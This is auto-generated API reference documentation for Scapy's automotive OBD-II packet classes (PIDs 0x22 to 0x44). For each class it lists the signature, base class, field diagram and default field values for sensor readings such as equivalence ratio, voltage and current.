class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID22(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L64-L68]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID22                          


OBD_PID22 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID23(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L71-L75]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID23                          


OBD_PID23 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID24(_pkt, /, *, equivalence_ratio=0, voltage=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L85-L86]

	Bases: _OBD_PID24_2B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       EQUIVALENCE RATIO       |            VOLTAGE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID24                          


OBD_PID24 fields






	equivalence_ratio

	ScalingField

	0



	voltage

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID25(_pkt, /, *, equivalence_ratio=0, voltage=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L89-L90]

	Bases: _OBD_PID24_2B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       EQUIVALENCE RATIO       |            VOLTAGE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID25                          


OBD_PID25 fields






	equivalence_ratio

	ScalingField

	0



	voltage

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID26(_pkt, /, *, equivalence_ratio=0, voltage=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L93-L94]

	Bases: _OBD_PID24_2B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       EQUIVALENCE RATIO       |            VOLTAGE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID26                          


OBD_PID26 fields






	equivalence_ratio

	ScalingField

	0



	voltage

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID27(_pkt, /, *, equivalence_ratio=0, voltage=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L97-L98]

	Bases: _OBD_PID24_2B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       EQUIVALENCE RATIO       |            VOLTAGE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID27                          


OBD_PID27 fields






	equivalence_ratio

	ScalingField

	0



	voltage

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID28(_pkt, /, *, equivalence_ratio=0, voltage=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L101-L102]

	Bases: _OBD_PID24_2B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       EQUIVALENCE RATIO       |            VOLTAGE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID28                          


OBD_PID28 fields






	equivalence_ratio

	ScalingField

	0



	voltage

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID29(_pkt, /, *, equivalence_ratio=0, voltage=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L105-L106]

	Bases: _OBD_PID24_2B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       EQUIVALENCE RATIO       |            VOLTAGE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID29                          


OBD_PID29 fields






	equivalence_ratio

	ScalingField

	0



	voltage

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID2A(_pkt, /, *, equivalence_ratio=0, voltage=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L109-L110]

	Bases: _OBD_PID24_2B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       EQUIVALENCE RATIO       |            VOLTAGE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID2A                          


OBD_PID2A fields






	equivalence_ratio

	ScalingField

	0



	voltage

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID2B(_pkt, /, *, equivalence_ratio=0, voltage=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L113-L114]

	Bases: _OBD_PID24_2B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       EQUIVALENCE RATIO       |            VOLTAGE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID2B                          


OBD_PID2B fields






	equivalence_ratio

	ScalingField

	0



	voltage

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID2C(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L117-L121]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID2C                          


OBD_PID2C fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID2D(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L124-L129]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID2D                          


OBD_PID2D fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID2E(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L132-L136]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID2E                          


OBD_PID2E fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID2F(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L139-L143]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID2F                          


OBD_PID2F fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID30(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L146-L150]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID30                          


OBD_PID30 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID31(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L153-L157]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID31                          


OBD_PID31 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID32(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L160-L164]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID32                          


OBD_PID32 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID33(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L167-L171]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID33                          


OBD_PID33 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID34(_pkt, /, *, equivalence_ratio=0, current=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L181-L182]

	Bases: _OBD_PID34_3B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       EQUIVALENCE RATIO       |            CURRENT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID34                          


OBD_PID34 fields






	equivalence_ratio

	ScalingField

	0



	current

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID35(_pkt, /, *, equivalence_ratio=0, current=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L185-L186]

	Bases: _OBD_PID34_3B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       EQUIVALENCE RATIO       |            CURRENT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID35                          


OBD_PID35 fields






	equivalence_ratio

	ScalingField

	0



	current

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID36(_pkt, /, *, equivalence_ratio=0, current=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L189-L190]

	Bases: _OBD_PID34_3B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       EQUIVALENCE RATIO       |            CURRENT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID36                          


OBD_PID36 fields






	equivalence_ratio

	ScalingField

	0



	current

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID37(_pkt, /, *, equivalence_ratio=0, current=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L193-L194]

	Bases: _OBD_PID34_3B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       EQUIVALENCE RATIO       |            CURRENT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID37                          


OBD_PID37 fields






	equivalence_ratio

	ScalingField

	0



	current

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID38(_pkt, /, *, equivalence_ratio=0, current=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L197-L198]

	Bases: _OBD_PID34_3B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       EQUIVALENCE RATIO       |            CURRENT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID38                          


OBD_PID38 fields






	equivalence_ratio

	ScalingField

	0



	current

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID39(_pkt, /, *, equivalence_ratio=0, current=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L201-L202]

	Bases: _OBD_PID34_3B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       EQUIVALENCE RATIO       |            CURRENT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID39                          


OBD_PID39 fields






	equivalence_ratio

	ScalingField

	0



	current

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID3A(_pkt, /, *, equivalence_ratio=0, current=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L205-L206]

	Bases: _OBD_PID34_3B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       EQUIVALENCE RATIO       |            CURRENT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID3A                          


OBD_PID3A fields






	equivalence_ratio

	ScalingField

	0



	current

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID3B(_pkt, /, *, equivalence_ratio=0, current=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L209-L210]

	Bases: _OBD_PID34_3B


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       EQUIVALENCE RATIO       |            CURRENT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID3B                          


OBD_PID3B fields






	equivalence_ratio

	ScalingField

	0



	current

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID3C(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L213-L218]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID3C                          


OBD_PID3C fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID3D(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L221-L226]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID3D                          


OBD_PID3D fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID3E(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L229-L234]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID3E                          


OBD_PID3E fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_20_3F.OBD_PID3F(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_20_3F.py#L237-L242]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID3F                          


OBD_PID3F fields






	data

	ScalingField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd.pid.pids_40_5F


	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID40(_pkt, /, *, supported_pids=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L18-L55]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SUPPORTED PIDS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID40                          


OBD_PID40 fields






	supported_pids

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID41(_pkt, /, *, reserved=0, reserved1=0, continuous_tests_ready=<Flag 0 ()>, reserved2=0, continuous_tests_supported=<Flag 0 ()>, once_per_trip_tests_supported=<Flag 0 ()>, once_per_trip_tests_ready=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L58-L103]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |R|CONTI|R|CONTI|ONCE PER TRIP T|ONCE PER TRIP T|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID41                          


OBD_PID41 fields






	reserved

	XByteField

	0



	reserved1

	BitField  (1 bit)

	0



	continuous_tests_ready

	FlagsField

	<Flag 0 ()>



	reserved2

	BitField  (1 bit)

	0



	continuous_tests_supported

	FlagsField

	<Flag 0 ()>



	once_per_trip_tests_supported

	FlagsField

	<Flag 0 ()>



	once_per_trip_tests_ready

	FlagsField

	<Flag 0 ()>











	
onOff = {0: 'off', 1: 'on'}

	








	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID42(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L106-L110]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID42                          


OBD_PID42 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID43(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L113-L117]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID43                          


OBD_PID43 fields






	data

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_40_5F.OBD_PID44(_pkt, /, *, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_40_5F.py#L120-L124]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID44                          


OBD_PID44 fields






	data

	ScalingField

	0















	
